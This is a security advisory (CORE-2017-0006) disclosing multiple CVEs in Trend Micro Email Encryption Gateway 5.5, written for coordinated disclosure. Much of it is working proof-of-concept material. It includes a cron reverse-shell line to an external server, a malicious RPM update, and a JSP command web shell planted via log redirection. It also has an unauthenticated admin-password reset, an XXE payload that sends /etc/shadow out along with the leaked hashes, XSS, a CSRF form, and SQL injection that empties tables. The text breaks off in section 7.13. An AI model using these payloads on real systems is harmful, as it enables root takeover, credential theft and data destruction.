Trend Micro Email Encryption Gateway Multiple Vulnerabilities
1. Advisory Information
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL: http://www.coresecurity.com/core-labs/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. Vulnerability Information
Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. Vulnerability Description
Trend Micro's website states that:
Encryption for Email Gateway [1] is a Linux-based software solution providing the ability to perform the encryption and decryption of email at the corporate gateway, regardless of the email client, and the platform from which it originated. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. This enables easy integration with other email server-based products, be them content scanners, mail servers, or archiving solutions."
Multiple vulnerabilities were found in the Trend Micro Email Encryption Gateway web console that would allow a remote unauthenticated attacker to gain command execution as root.
We also present two additional vectors to achieve code execution from a man-in-the-middle position.
4. Vulnerable Packages
- Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
Other products and versions might be affected, but they were not tested.
5. Vendor Information, Solutions and Workarounds
Trend Micro published the following Security Bulletin:
- https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. Credits
These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.
7. Technical Description / Proof of Concept Code
Trend Micro Email Encryption Gateway includes a web console to perform administrative tasks. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker.
The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user.
Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13).
7.1. Insecure update via HTTP
[CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates:
[Request #1] http:// downloads.privatepost.com/files/TMEEG/updates/data.html
The product expects to retrieve a plain-text file with the following format:
[Version Info] [Installation RPM file name] [Path to release notes]
If a new update is found, then the RPM file is downloaded from the following URL:
[Request #2] http:// downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name]
This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data.
7.2. Arbitrary file write leading to command execution
[CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java):
FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...]
The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../.. /../../../../etc/cron.d/test test.html
As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL:
http:// downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload:
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
gaining code execution upon exploitation:
$ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2 (daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t
7.3. Unvalidated software updates
[CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own.
The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java):
try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] {
In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root:
$ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2 (daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh
7.4. Arbitrary logs location leading to command execution
[CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application /x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLeve l0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&info Level1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&info Level2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&info Level3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warn Level4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5= SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2F SupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6 =%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form.
POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application /x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader =X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryption Notice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F %2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2 F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C% 5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C% 25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+ JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F %2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML %3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3C INPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send %22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd %22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter %28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29. exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutput Stream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInput Stream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B %0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+% 0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0 D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&reply ToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachment Template=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate .html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name %3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter =%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__ %22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on &zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMain DelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D __%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id% 3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilder Action=mimeconfig%3Apostback
The next time the service components are restarted, the log file will be created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root:
https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t
7.5. Missing authentication for appliance registration
[CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password.
The following request changes the administrator password to "sombrero":
POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activation Code3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX& resellerCode=&hostName=tester.localdomain®Email=pentester1@ coresecurity.com&contactName=Test +Test&contactEmail=pentester1@ coresecurity.com&contactPhone=%2B5491145712447&userName=administrator &password=sombrero&confirmPassword=sombrero
Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website.
7.6. Lack of cross-site request forgery protection
[CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution.
The following proof of concept starts the check for updates process.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/ checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html>
7.7. XML external entity injection in configuration.jsp
[CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the /etc/shadow file to an external server.
POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application /x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F4 7F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=& outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScan Attachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabled Input=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput= &endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml =<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+" file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd %3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start> <end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><! [CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start> <head/></start></pci_exception></pci_exceptions>
The combine.dtd file is hosted on an external server, and its contents are:
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher:// external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0: 99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:* :14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0 :99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7:: : nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!! :14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:9 9999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999: 7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:141 94::::::
These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6.
7.8. Reflected cross-site scripting in keymanserverconfig.jsp
[CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout= 6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
7.9. Reflected cross-site scripting in mimebuilderconfig.jsp
[CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4.
The following is a proof of concept to demonstrate the vulnerability:
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
7.10. Stored cross-site scripting in editPolicy.jsp
[CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting.
The following request adds a policy for the email address "<script>alert(1)</script>":
POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/ xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https: //[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1) </script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
The input will be stored unescaped and rendered every time the policies.do script is executed.
Excerpt of the policies.do source showing the injected script tag:
<tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color: #F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script>
7.11. SQL injection in policies.jsp
[CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1.
From webapps/ROOT/policies.jsp:
<% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId" ).compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %> <jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...]
The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request. getParameter("editRuleId")); [...]
Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...]
The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved:
POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https:// server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20 or%201%3d1%20LIMIT%201
7.12. SQL injection in editPolicy.jsp
[CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
<% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...]
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; }
Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...]
The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated:
POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml +xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https:// [server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade- Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRule Id=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
7.13. SQL Injection in emailSearch.jsp
[CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...]
The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB...